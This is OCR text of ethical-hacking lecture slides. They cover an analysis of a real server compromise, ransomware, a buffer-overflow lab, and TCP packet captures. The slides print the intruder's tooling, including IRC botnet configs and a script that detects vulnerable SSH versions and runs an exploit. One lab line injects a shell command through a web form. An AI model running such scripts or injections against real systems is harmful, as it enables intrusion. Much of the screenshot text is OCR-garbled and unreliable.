login narod
ircname Cocosatul de la Notre Dame set BANMODES 6
cmdchar + set OPMODES 6
userfile mech3.users tog SPY 1

channel #Mark
set BANMODES 6 tog MASS 0
set OPMODES 6
tog SPY 1
channel #facpamata server 130.237.188.216 7000
tog MASS 0 server 208.83.20.130 6667
nick Kill3r server 69.16.172.40 6667
login putulica server 195.197.175.21 7000
ircname Pula Bleaga server graz.at.Eu.UnderNet.org 6667
cmdchar + server Helsinki.FI.EU.Undernet.org 6667
userfile mechZ.users server Lelystad.NL.EU.UnderNet.Org 6667

server trondheim.no.eu.undernet.org 6667
set BANMODES 6 server Zagreb.Hr.EU.UnderNet.org 6667
set OPMODES 6 server Dallas.TX.US.Undernet.org 6667
tog SPY 1 server mesa.az.us.undernet.org 6667
channel #facpamata server Tampa.FL.US.Undernet.org 6667
tog MASS 0 server mesa2.az.us.undernet.org 6667
nick Vortex- server 161.53.178.240 6667
login Vortex server 69.16.172.40 7000
ircname I will kill you ! server 217.168.95.245 6667
cmdchar + server Elsene.Be.Eu.undernet.org 6667
userfile mechl.users [rsimms@myopus ]$
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The .kswap.set file in the " " direétory

[rsimms@myopus
#Bot 1

NICK

USERFILE
CMDCHAR

LOGIN

IRCNAME

MODES +ix
#VIRTUAL
#NOSHELLCMD

TOG CC

TOG CLOAK
TOG SPY

SET OPMODES
SET BANMODES

CHANNEL
TOG PUB
TOG MASS
TOG SHIT
TOG PROT
TOG ENFM
SET MDL
SET MKL
SET MBL
SET MPL

1$ cat ./kswap.set

Vortex-—
mechl.users

+

Vortex

I will kill you !

virtual.hosts.com

o O

==
=
m
o]
s

P NDNDNDNNOO OO

SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER

130.237.188.216 7000
208.83.20.130 6667

69.16.172.40 6667

195.197.175.21 7000
graz.at.Eu.UnderNet.org 6667
Helsinki.FI.EU.Undernet.org 6667
Lelystad.NL.EU.UnderNet.Org 6667
trondheim.no.eu.undernet.org 6667
Zagreb.Hr .EU.UnderNet.org 6667
Dallas.TX.US.Undernet.org 6667
mesa.az.us.undernet.org 6667
Tampa.FL.US.Undernet.org 6667
mesaZ.az.us.undernet.org 6667

#End of bot 1

#Bot 2

NICK Kill3r
USERFILE mech?2.users
CMDCHAR +

LOGIN putulica
IRCNAME Pula Bleaga
MODES +ix

#VIRTUAL virtual.hosts.com
#NOSHELLCMD

TOG CC 1

TOG CLOAK 1

TOG SPY 1

SET OPMODES 6

SET BANMODES 6
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CHANNEL
TOG PUB
TOG MAS
TOG SHI
TOG PRO
TOG ENF
SET MDL
SET MKL
SET MBL
SET MPL

SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER

#facpamata
1
S 0
T 0
T 0
M 0
2
2
2
1
130.237.188.216 7000

208.83.20.130 6667
195.197.175.21 7000
161.53.178.240 6667

69.16.172.40 7000

217.168.95.245 6667
Lelystad.NL.EU.UnderNet.Org 6667
trondheim.no.eu.undernet.org 6667
Zagreb.Hr.EU.UnderNet.org 6667
Dallas.TX.US.Undernet.org 6667
mesa.az.us.undernet.org 6667
Tampa.FL.US.Undernet.org 6667

SERVER mesaZ.az.us.undernet.org 6667
#Bot 3

NICK Svant

USERFILE mech3.users

CMDCHAR +

LOGIN narod

IRCNAME Cocosatul de la Notre Dame

MODES +ix
#VIRTUAL virtual.hosts.com
#NOSHELLCMD

TOG

TOG CLOAK

TOG

SET OPMODES
SET BANMODES

ccC

SPY

CHANNEL

TOG
TOG
TOG
TOG
TOG
SET
SET
SET
SET

PUB
MAS
SHT
PRO

ENFM

MDL
MKL
MBL
MPL

SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER
SERVER

o O

#facpamata

S
T
T

P NDNDNOO OO

195.197.175.21 7000
130.237.188.216 7000

69.16.172.40 6667
Elsene.Be.Eu.undernet.org 6667
graz.at.Eu.UnderNet.org 6667
Helsinki.FI.EU.Undernet.org 6667
Lelystad.NL.EU.UnderNet.Org 6667
trondheim.no.eu.undernet.org 6667
Zagreb.Hr.EU.UnderNet.org 6667
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SERVER Dallas.TX.US.Undernet.org 6667
SERVER mesa.az.us.undernet.org 6667

SERVER Tampa.FL.US.Undernet.org 6667
SERVER mesaZ.az.us.undernet.org 6667

#End of bot 3

[rsimms@myopus ]S
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The mechl.users file in the " " directory

[rsimms@myopus
handle
mask
prot
aop
channel
access

handle
mask
prot
aop
channel
access

handle

mask

prot

aop

channel

access
[rsimms@myopus

1$ cat ./mechl.users
Mark
*I*@Winmarkt.users.undernet.org

4

*

100

blackperl
*!*@blackperl.users.undernet.org
4

*

100

Eu-
*1*Q@167.users.undernet.org
4

*

100
1S
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[rsimms@myopus randfiles]$ cat randinsult.e

And tell me, are you still making Nightly installments on your new car?

Any similarity between you and a human is purely coincidental.

Are you always this stupid or are you making a special effort today?

Can I borrow your face for a few days? My ass is going on holiday.

Congratulations; you're a perfect argument against brother-sister marriages.

Do YOU ever get tired of having yourself around?

Do you have your easygoing nature because you're too heavy to run, or just too fat to fight?
Don't I know you from high school, back when you only had one stomach and one chin?

Don't let you mind wander - it's far too small to be let out on its own.

Don't tell me - I know who you are! Yeah, you're the reason they made birth control...
Follow Cobain's footsteps, blow your brains out. It's not like you've got much to lose...
For a minute there I didn't recognize you. It was the happiest minute of my life.

Go fart peas at the moon!

Hi! I'm a human! What are you?

can tell that you are lying - your lips are moving.

can't remember your name, but your nasty attitude is kinda familar...

don't know what I'd do without you, but I'd like to try.

don't know what makes you tick, but I hope it's a time bomb.

H H H H H

for what *you* thought you were worth, I'd be the richest guy in the world...

I like you better the more I see you less.

I thought of you today. I was at the zoo.

I would have liked to insult you, but the sad truth is that you wouldn't understand me.
I'd smack the shit out of you if I didn't think it would £fill up the room

I'll swear eternal friendship to anyone who hates you as much as I do.

I'm sure you'll be alright when the marijuana wears off.

< snipped >

just figured something out: if I bought you for what *I* thought you were worth, and sold you
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[rsimms@myopus ssh]$ cat tryssh

cd ssh

VER=""./scanssh $1 | awk '{print $2}'""

a="0"

if [ "SVER" = "SSH-1.5-1.2.27" ]; then

echo "Vulnerable S$SVER found ... exploiting... "
/x2 -t 1 $1

a="1"

fi

if [ "SVER" = "SSH-1.5-1.2.26" ]; then

echo "Vulnerable S$SVER found ... exploiting... "
/x2 -t 1 81

a="1"

fi

if [ "SVER" = "SSH-1.5-1.2.28" ]; then

echo "Vulnerable S$VER found ... exploiting... "
./x2 -t 1 $1

a="1"

fi

if [ "SVER" = "SSH-1.5-1.2.29" ]; then

echo "Vulnerable S$VER found ... exploiting... "
./x2 -t 1 $1

a="1"

fi

< snipped > 103
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[rsimms@myopus testuser]$ cat .mass/lpd/network.c
/* scut's leet network library ;)
1999 (c) scut

*
*
*
* networking routines

* based on my hbot networking sources,
* revised, extended and adapted 990405
* extended, improved and fixed 990430
*
*
*
*
*

nearly all of this code wouldn't have been possible without w. richard steven s
excellent network coding book. if you are interested in network coding,
there is no way around it.

/

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
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€& - C [ www.iuvotech.com/analysis-of-a-hack/ o =
Home  AboutUs~  Services ~  Team ~  Insights  Careers ~  ContactUs  Free Tools Q

Post Analysis

Since the compromise was discovered, and the attacker did not get root, they could
not cover up or delete the logs. Even the attempt to unset HISTFILE did not remove
the history file. Looking at the log file, it was clear that the 10's of thousands of
attempts on ssh login was able to exploit a weak password. Firewalls, encrypted
protocols and locked down files and permissions were all thwarted by a weak
password and brute force trying of passwords to ssh

So what does this all have to do with the Simpsons?

The other nugget was in a piece of code that was found. | found a rough translation for
maost of it, which didn't make much sense. The last word .. Pure Homer Simpson.

echo & Ciudat ._Hu A2i Urmat Instructiunile §
echo § trebui dat mw assh a sau mv 3can a S
echo § orice ai avea tu ... dochh ..

always available, and worth sharing.

“Dohh”
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Malware
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Viruses -
WO rms See textbook on
— these types of
Spywa Fe malware
Keyloggers _
Ransomware

Trojans and RATs
Buffer Overflows

107



4 |
g

Opening a word doc attachment from an
unknown sender can get quite expensive!

111 IMPORTANT

€ @ twbersshmibd6F.onion /EB541

We present a specil software - Locky Decryptor™ -
which allows to decrypt and retum control to al your encrypted files.

How to buy Locky Decryptor™?

You get new
wallpaper
announcing
the bad news

‘You can make 2 payment with BCoins, there are many methods to get them.
You should register BtCoin walet:

Simplest onine wallet or Some other methods of creating wallet

Purchasing Bitcoins, although it's not yet easy to buy bitcons, t's getting smpler every day.

)
@ - = — o locabitcoins.com (WU) Buy Bitcoins with Westem Union.
O D SR IS N 7 b bd congafe.com Recommended for fast, smple service.
File Eda View Tools Help Payment Methods: Westem Union, Bank of America, Cash by FedEx, Moneygram, Money Order. In NYC: =
Organize »  Sharewith v Sideshow  Newfolder a- @ @ BRcoin ATM, In person.
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& Downloads bitquick.co Buy Bitcoins instantly for cash. .
30 Recen Places ons.nfo An directory of btcon exchanges. Instructions
ceshintocons.com  Bitcoin for cash.
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1 Computer -
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not found

All documents on the PC have been 5 e th age an dwmiaddecrt
encryp ted and r-enamed When Bitcoin transactions will receive one confirmation, you will be redrected to the page for downloading the decryptor.

A recent survey by Malwarebytes of 500
businesses found 40% had experienced a
ransomware attack.

https://www.theqguardian.com/technolo 2016

aug/03/ransomware-threat-on-the-rise-as-40-

of-businesses-attacked
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RAT (Remote Administration Tool)
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Buffer Overflows

1. From Kali, browse to: http://172.30.10.122/bufo.html

2. Typing into the "Your name:" field, try to inject this command
using a buffer overflow:

echo \"Benji was here\" > /tmp/bufo/winners
(swap Benji with your own name)

3. To see if you win browse to: http://172.30.10.122/bufo-
winners.html

Eie View UM

ue 15:4
Mozilla Firefox o0

sv @ Firefox ESR v wo oSO =
Mozilla Firefox LR - http://172.3..122/bufo.php X | hitp://172.3..winners.html x | +

http://172.3..122/bufo.php % | http://172.3..22/bufo.ntml x | + € & © 1723010122 vEe ¥ /& O =

€ ) ®172.30.10.122/bufo.html Search wBe ¥ & O = Most Visitedv [fJOffensive Security "\ Kall Linux * Kali Docs "\ Kali Tools  Exploit-DB WAlrcrack-ng filKali Forums \ NetHunter
[E Most Visitedv JllOffensive Security s Kali Linux “& Kali Docs S Kali Tools  Exploit-DB Wy Aircrack-ng gl Kali Forums “ NetHunter » WINNERS!
Your name: Execute Buffer Overflow Challenge Winners

New winners
Rich Simms was here
Sun Feb 19 18:40:01 PST 2017

Benji was here
-] Tue Sep 12 14:37:01 PDT 2017

Homer was here
Tue Sep 12 14:41:01 PDT 2017

Thank you Sam Bowne for creating this activity! 110
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Shichao's Notes

n_ Contents - Shichac’s No* €3

& C | @ https//notes.shichao.io/tcpy1/ 1}| o

Shichao's Notes APUE~ LKD~ UNP~  TCPvl~ TOC €) GitHub

TCPv1

TCPv1

* Chapter 1. Introduction
® Chapter 2. The Internet Address Architecture

* Chapter 3. Link Layer Rea//y nice

* Chapter 4. ARP: Address Resolution Protocol
» Chapter 5. The Internet Protocol (IP) reference

* Chapter 6. System Configuration: DHCP and Autoconfiguration ; ;

® Chapter 7. Firewalls and Network Address Translation (NAT) used mn thls
» Chapter 8. ICMPv4 and ICMPv6: Internet Control Message Protocol Section
* Chapter 9. Broadcasting and Local Multicasting (IGMP and MLD)

* Chapter 10. User Datagram Protocol (UDP) and IP Fragmentation

* Chapter 11. Name Resolution and the Domain Name System (DNS)
* Chapter 12. TCP: The Transmission Control Protecol (Preliminaries)
» Chapter 13. TCP Connection Management

* Chapter 14. TCP Timeout and Retransmission

® Chapter 15. TCP Data Flow and Window Management

» Chapter 16. TCP Congestion Control

* Chapter 17. TCP Keepalive

® Chapter 18. Security: EAP, IPsec, TLS, DNSSEC, and DKIM

* Headers
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TCP Segment and Header

<« TCP Segment >

The TCP segment is encapsulated
inside an IP datagram.

IP Header Hzgclier TCP (Application) Data
Proto (IPv4) or Next Header (IPv6) = 6
T ——— The Tcp header. enables creating and
L bre—P o) | eera N closing connections and sending data
in a reliable way.
0 15 16 31
Source Port Destination Port A
(16 bits) (16 bits)
Sequence Number
. (32 bits)
Basic
TCP
Header TCP
(20 bytes) Eeader Resv (0) Header
ength (4 bits)
(4 bits)
TCP Checksum Urgent Pointer
(16 bits) (16 bits)
Options ;
(variable) v
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TCP Sequence and Acknowledgement Numbers

The Sequence Number identifies the byte in the
stream of data from the sender to the receiver that the
first byte of data in the containing segment represents.

The Acknowledgment Number contains the next
sequence number that the sender of the
acknowledgment expects to receive.

These numbers are used to insure that the data sent has been
received and is in the correct order.
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TCP Flags

CWR. Congestion Window Reduced (the sender reduced its sending rate)
ECE. ECN Echo (the sender received an earlier congestion notification)
URG. Urgent (the Urgent Pointer field is valid; rarely used

ACK. Acknowledgment (the Acknowledgment Number field is valid; always on
after a connection is established);

PSH. Push (the receiver should pass this data to the application as soon as possible
not reliably implemented or used)

RST. Reset the connection (connection abort, usually because of an error)
SYN. Synchronize sequence numbers to initiate a connection

FIN. The sender of the segment is finished sending data to its peer
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Active Opener

(Client)

/‘

Connection Set-Up
(Three-Way Handshake)

Data Transfer
(Established)

(Modified Three-Way

Connection Close -<
Handshake)

a—SYN

https:

R
SYN, Seq =

RACK, Seq =

TCP Flow Diagram

(Server)

ISN(c), (options

tions)
= \SN(C) + 1, (Op
= 1SN(s), ACK
+ ACK, Seq =18

ISN,
() +1, ACK = ISN(s) +1, (options

[No Data Transferred in This Example]

notes.shichao.io/tcpvl/ch13

Passive Opener

ISN=Initial Sequence Number

TCP Flags
SYN
Synchronize (sequence numbers)

ACK
Acknowledge

FIN
Finish (terminate) connection
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Example: Browsing simple web page

EH-Kali-05

Applications « Places v @ Firefox ESR + Sun 16:02

CIS 76 - Mozilla Firefox
/s 76 \
i 172.30.10.160 @ |[Q Search & B 3 A

f& Most Visited v JllOffensive Security " Kali Linux “ Kali Docs "\ Kali Tools EBExploit-DB W Aircrack-ng

CIS 76

Hacking without permission is a crime!
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Example: Browsing simple web page

client web server
EH-Kali-05 |~ =/ | EH-Centos
10.76.5.150 | 172.30.10.160
[y
ISN=Initial Sequence Number
K= ‘SN(C) +1, (opﬂons)
Connection Set-Up . ACK, Seq = ISN(s). AC
(Three-Way Handshake) a—SYN :
——ACK Seq = TCP Flags
€3 =ISN(c) + 1, ACK = IS SYN g
\_ $) +1, (options _
Data Transfer CIS 76 Synchronize (sequence numbers)
(Established ) Hacking without permission is a crime!
\
/ F'N"‘ACK, Seq = K AGH = ACK
= L. (options Acknowledge
= K + 1, (options
Connection Close ./ACK. Seq=L ACK =K* FIN
(Modified Three-Way '< »: 1, (options - . .
Handshake) 1+ ACK, Sea = L ACK K+ Finish (terminate) connection
ACK, Seq =
\ ACK =1/ 4 1, (Optvms)
118
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https://notes.shichao.io/tcpv1/ch13/

Xo LotXeg CIS 76 - Lesson 3 o ﬂ ‘ I l

Example: A web page in 10 captured packets

Applications «

*eth0 e ® 0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

10 ehRE Q¢ s kaE B eoour

) a disp

2y filter ... <Ctrl-/> : -_':Expression... +

No. Time Source Destination Protocol Length Info
- 1 ©.000000000 10.76.5.150 172.30.10. 160 TER 74 47944 — 80 [SYN] Seq=0 Win=29200 Len=0 M55=1460 ..
2 0.000784801 172.30.10. 160 10.76.5.150 TCP 74 80 - 47944 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=.
3 0.000816504 10.76.5.150 172.30.10, 160 TCP 66 47944 — 80 [ACK] Seg=1 Ack=1 Win=29312 Len=0 TSv.
4 0,000926757 10/;76.5. 150 172.30.10, 160 HTTP 349 GET / HTTP/1.1
5 0.001302365 172.30.10.160 1065150 TCP 66 80 - 47944 [ACK] Seq=1 Ack=284 Win=15616 Len=0 T.
B 6 0.001672302 172.30.10. 160 0 . 150 HTTP/1.1 200 ( /html)
7 0.001683961 1eNTEL5L5E 172.30. 10, 160 TCP 66 47944 — 80 [ACK] Seq=284 Ack=425 Win=30336 Len=0..
8 0.001697476 172,30, 10, 160 19, 76.5, 150 TCP 66 80 — 47944 [FIN, ACK] Seq=425 Ack=284 Win=15616 ..
9 0.001811327 10.76.5.150 172.30.10. 160 TER 66 47944 - 80 [FIN, ACK] Seq=284 Ack=426 Win=30336 ..
L 10 ©.002089264 172.30.10.160 10.76.5.150 TCP 66 80 — 47944 [ACK] Seq=426 Ack=285 Win=15616 Len=0..

» Frame 6: 490 bytes on wire (3920 bits), 490 bytes captured (3920 bits) on interface ©

» Ethernet II, Src: Vmware_af:f2:c3 (00:50:568:af:f2:c3), Dst: Vmware_af:ef: bd (00:50:56:af: e6:bd)

» Internet Protocol Version 4, Src: 172.30.10.160, Dst: 10.76.5.150

» Transmission Control Protocol, Src Port: 80 (88), Dst Port: 47944 (47944), Seq: 1, Ack: 284, Len: 424
= Hypertext Transfer Protocol

67 65 73 3a 20 62 79 74 65 73 0d 0a 43 6f e 74 ges: byt es..Cont i
65 Ge 74 2d 4c 65 6e 67 74 68 3a 20 21 35 36 od ent-Leng th: 156,

Da 42 6f Be Ge 65 63 74 69 6T Be 3a 20 62 6c 6F .Connect ion: clo

73 65 Od Pa 43 6f Ge 74 65 Ge 74 2d 54 79 70 65 se. . ent-Type ; g

3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 J CIs76 x|\ *

tml; cha

172.30.10.160

[5]Most Visited v JllOffensive Security "% Kali Linux e

CIS 76

Hacking without permission is a crime!

W

[+/)

oo o~
=1 O M
J W
wm
LEN e B L
LB To B N T

Wm oo W
00 W= —h o

7]

&
&
(3]
G
o]

W

o

v

© ¥ Line-based text data (data-text-lines), 156 bytes Packets: 10 - Displayed: 10 (100.0%) Profile: Default 119
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Example: Browsing simple web page

(576 x| # ]
F - User Enters URL in browser
& (1723010160 ]

Open a connection with a three-way handshake

1 0.000000000 10.76.5. 150 172.30. 10, 160 TCP 74 47944 ~ 80 [SYN] Seq=0 Win=29200 Len=0 MS5=1460 .
2 0.000784801 172,30.10.160 10.76.5.150 TCP 74 80 - 47944 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=
3 0.000816504 10.76.5. 150 172,30, 10, 160 TCP 66 47944 ~ 80 [ACK] Seg=1 Ack=1 Win=29312 Len=0 TSv.

GET / HTTP/1.1
Host; 172.30.10,160
User-Agent: Nozilla/5.0 (X11; Linux xB6_64; rv:45.0) Gecko/20100101

Client requests web page /\FHMSO
4 0,000926757 10.76.5.150 172.30.10. 160 HTTF 349 GET / HTTP/1.1 Accept: text/htnl,application/xhtnltxnl,application/xnl;q=0.9,"/*;q=0.8

5 0,001302365 172,30, 10, 160 10,76.5,150 TCP 66 80 - 47944 [ACK] Seq=1 Ack=284 Win=15616 Len=0 T. Accept-Language: en-US,én;0=0.5
Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 200 OK

Date: Sun, 11 Sep 2016 22:42:25 GMT
Server Sends Web page A/—\S:rser:u;:pache/g?z.ls (Cento0S)
5 = j -Modified: Fri, 02 Sep 2016 19:20:24 GMT
60.001672302  172.30.10.160  10.76.5.150 HTTP 490 HTTP/1.1 200 0K (text/htnl) ETag: 22044-Gc-538b35e10492" !
70.001683961  10.76.5.150 172.30.10.160  TCP 66 47944 - 80 [ACK] Seq=284 Ack=425 Win=30336 Len=0,  |foechrRinoes, bices

Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

Close the connection i
80.001697476  172.30.10.160  10.76.5.150 TCP 6680 — 47044 [FIN, ACK] Seq=425 Ack=284 Win=15616 .. | jricie>Cs 76</mtle>
90.001811327  10.76.5.150 172.30.10.160  TCP 66 47944 - 80 [FIN, ACK] Seq=284 Ack=A26 Win=30336 .. | <body>
10 0.002089264  172.30.10.160  10.76.5.150 TCP 66 80 ~ 47944 [ACK] Seq=426 Ack=285 Win=15616 Len=0. | <psHacking without permission is a crine!</p>
nials.
CIS 76 120

User views web page

Hacking without permission is a crime!




File Edit
A B ®

| tcp.stream eq 0

View G

No. Time

= 1 0,0000000
2 0,00078484
3 0,00081554

[ 400000267
5 0.0013022§
5 0.00167226
7 0.0016839§
8 0.00169747
9 0.00181133

L 10 0.00208924

Frame 4: 349 byte
Ethernet II, Src:
Internet Protocol
Transmission Cont
Hypertext Transfel

[ 3
[ 3
[ 3
[ 3
[ 3

00 50 56 af
91 4f 00 66
fa af bb 48
00 eb cV el
9h 79 47 45
0d 0a 48 &f
30 2e 31 36
74 2a 20 4d
58 31 31 3b
34 3b 20 72

O MO0 O ) G Gd ) I D G ) G 6 & fa —h

vwreshark_pc%

o7
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UNEE R Sun 16:07

Wireshark - Follow TCP Stream (tcp.stream eq 0) - wireshark_pcapng_eth0_2016091.. @ & @

BEF N e

Host: 172.30.10.160

User-Agent: Mozillas5.0 (X11; Linux xB86_64,;
Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connectlon: keep-alive

rv:45.0) Gecko/20100101

HTTP/1.1 200 0K

Date: Sun, 11 Sep 2016 22:42:25 GMT

Server: Apache/2.2.15 (Cent0S)
last-Modified: Fri, B2 Sep 2016 19:20:24 GMT
ETag: "22044-9c-53h8b38e1949a"
Accept-Ranges: hytes

Content-Length: 156

Connectlon: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html=>
<html=
<head=
<title=CIS 76</title=
</head=
<pody=>
<h1>CIS 76</h1=>
<p>Hacking without permission 1s a crime!</p>
</body=>
</html=

1 dient pkt(s), 1 server pkt{s), 1 turn.

v‘ Show data as | ASCII vi Stream [0 ||
|| Find Next

|| Saveas.. || Close |

IEntire conversation (707 bytes)

Find: |

' Help '

|Fﬁdetmssnean1ii Print

=2 ~| Expression... +

BOZ00 Len=0 MSS=1480 ..
Ack=1 Win=14480 Len=..
l Win=293212 Len=0 TSwv.

P84 Win=15616 Len=0 T..

=425 Win=20236 Len=0..
PS5 Ack=284 Win=15616 ..
34 Ack=426 Win=30336 ..
=285 Win=15616 Len=0..

1(0.0%)  Profile: Default
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Wireshark: Statistic > Flow Diagram view

0.000000000
0.000784801
0.000816504
0.000926757
0.001302365
0.001672302
0.0016835961
0.001697476
0.001811327
0.002089264

Wireshark - Flow - wireshark_pcapng_eth0_20160911154720_CMbwvW

10.76.5.150
172.30.10.160

47944 :4?944—:»80 SYN] 80

47944 180 + 47944 [SYN, .. 80

GET / HTTP/1.1

47944 47944 + B0 [ACK] . 80

GET/HTTR/L1

Firefox/45.0

47944

Host: 172.30.10.160
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101

: en- 2

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language US,en;q=0.5
g0 Accept-Encoding: gzip, deflate

Connection: keep-alive

47944 8{2%4?944 ACK] .. 80

47944 II_-.I'I_I'F‘l"l.l 200 0K . 80
47944 47944 5 B0 [ACK & 50

I
47044 |89—>4?944 FIN, A 80

47944 = 80 [FIN, A,

HTTP/1.1 200 OK
Date: sun, 11 Se
e

p 2016 22:42:25 GHT
15 (Centos)

p 2016 19:20:24 GHT
o

<body>
<h1>CIS T6</m1>

<p>Hacking without permission is a crime!</p>
</body>

47944 80

47944 8}]%4?944 ACK] .. 80

TCP: 47944 » 80 [SYN] Seq=0 Win=29200 Len=0 M55=1..
TCP: 80+ 47944 [S5YN, ACK] Seq=0 Ack=1 Win=14480 Le..

TCP: 47944 » 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 ..

HTTP: GET /HTTP/1.1

TCP: 80 » 47944 [ACK] Seq=1|Ack=284/Win=15616 Len=...

HTTP: HTTP/1.1 200 OK  ({text/html)

TCP: 47944 -+ 80 [ACK] Seq=284|Ack=425Win=30336 Le..
TCP: 80 » 47944 [FIM, ACK] Seq=425 Ack=284 Win=1561..
TCP: 47944 = 80 [FIN, ACK] Seq=284 Ack=426 Win=3033..

TCP: 80 » 47944 [ACK] Seq=426 Ack=285Win=15616 Le...

&
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0.000000000

0.000739625

0.000720841

0.000200818

0.001219094

0.001577184

0.001589461

0.001649560

0.001781413

0.002090024
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Cloudshark: Analysis Tools > Ladder Diagrams

10.76.5.150

https:

www.cloudshark.or

172.30.10.160

47942 — B0 [SYN] Seq=0 Win=29200 Len=0 MS5=1460 SACK_PERMN=1 TSval=5062780 TSecr=0 W5=128

-
Ll

80 = 47942 [SYN, ACK] Seq=0 Ack=1 Win=14480 Len=0 MS55=1460 SACK_PERM=1 TSval=91846738 TSecr=5062780 W5=128

47942 — 80 [ACK] Seg=1 Ack=1 Win=29312 Len=0 TSval=5062780 TSecr=91846739

GET/HTTPMA

Y

GET / HTTP/1.1

Host: 172.30.10.160

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101

Firefox/45.0

Accept: text/html,application/xhtnlexml,application/xnl;q=0.9,"/*;0=0.5 me——
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

80 — 47942 [ACK] 5eq=1 lACI-(:284 IJ‘u’in:15616 Len=0 TSval=91846740 TS5ecr=5062780

F 3

HTTF/1.1 200 OK (text'html)

A

47942 — 80 [ACK] Seq=284 Ack=425Win=30336 Len=0 TSval=5062780 TSecr=91846740

P 80 — 47942 [FIN, ACK] Seq=425 Ack=284 Win=15616 Len=0 TSval=81846740 TSecr=5062780
47942 — B0 [FIN, ACK] Seq=284 Ack=426 Win=30336 Len=0 TSval=5062780 TSecr=91846740 -
80 — 47942 [ACK] 5eq=426 Ack=285 Win=15616 Len=0 TSval=91846741 TSecr=5062780 123

F



https://www.cloudshark.org/

CIS 76 - Lesson 3 .‘ F“i’ l l |w

Session
Hijacking
Example
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Hijacking a TCP session

https://simms-

teach.com/docs/cis76/cis76-Telnet-
Session-Hijack.pdf
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[ NETLAB Professions Es. X

(3 C 8 httpsy/security2 bayict.cabrillo.eduy, X ay

NETLAB+

Q
n

2] - O X
B Rich's Cabrillo College € 2
&« c‘ﬂSe(urs‘h BA‘ Qi}|°@ H
I Apps Yahoo Cab ic » Other bookmarks
BAY AREA =
-
COMMUNITY COLLEGE CONSORTIUM N E I I AB + I I n ks
BACCC NETLAB Security System 2
Username
simben76 NETLAB+® provides remote access to lab equipment and
curriculum. To access, you need a user ID and password,
assigned by your instructor or local system administrator.
Personal firewall software can interfere with this
Login application. If you experience login or port test failures, please
disable your firewall software to determine if this is causing
the problem.
FEorgot Password?
Browser security settings can interfere with required
features. It is recommended that you add the IP address (or
host name) of this site to your brower's trusted site list. This
application uses Java™, JavaScript, Cookies, Popup Windows,
P OWRRE Y and IFRAMES. Please adjust your browser settings
accordingly.
IN|D G| Due*
CIS 76 NETLAB+ System Web Browser Version Status 2
CIS go CUTICAT TTAURITTY UVETVIEW |
« How the course works =
i ) : : ] NETLAB Virwal Eton - X
Previous Terms « Ethical hacking overview g = —
VLab Hacking Pod setu €« C | @ Secure ‘openiab.bayict.cabrillo.edu, T 09
N g P 2 Apps [ Yohoo [ CabelloColege [] Heolh [ Network [3 Medial [J CS76knks [ LabDevelopment [] Home [l Musk Other bookmarks
Materials
« Presentation slides (download) openlab.bayict.cabrillo.edu
Cabrillo College Supplemental 4 & Ussmwne
Web Advisor « How to become an Ethical i
8/29 Hacker (link) @ Password
. « Ethical Hacking Code of Ethics ” o
VLab (classic) (link)
Vlab (web « VLab Pod Setup (link)
(——
NETLAB+ PE i .
ssignmen
NETLAB+ VE 4
A P List « Student Survey & Agreement
nnoying Issue Lis| . labi
CIS 76 Viab Pod CCC Confer
Assignments / « Enter virtual
« Archi
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Lab Assignments

Pearls of Wisdom:
« Don't wait till the last minute to start.
» The slower you go the sooner you will be finished.

« A few minutes reading the forum can save you hour(s).

 Line up materials, references, equipment, and software ahead of time.

« It's best if you fully understand each step as you do it. Refer back to
lesson slides to understand the commands you are using.

« Use Google for trouble-shooting and looking up supplemental info.

e « Keep a growing cheat sheet of commands and examples.

« Study groups are very productive and beneficial.

« Use the forum to collaborate, ask questions, get clarifications, and
share tips you learned while doing a lab.

 Plan for things to go wrong and give yourself time to ask questions and
get answers.

« Late work is not accepted so submit what you have for partial credit.
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Next Class

Assignment: Check the Calendar Page on the web site
to see what is due next week.

Quiz questions for next class:

« What command on your Kali VM lets you generate
wordlists by scraping websites?

« What type of currency do victims of ransomware have to
pay to get their files back?

« When a three-way hand-shake is used to create a
connection, which TCP flags are used?
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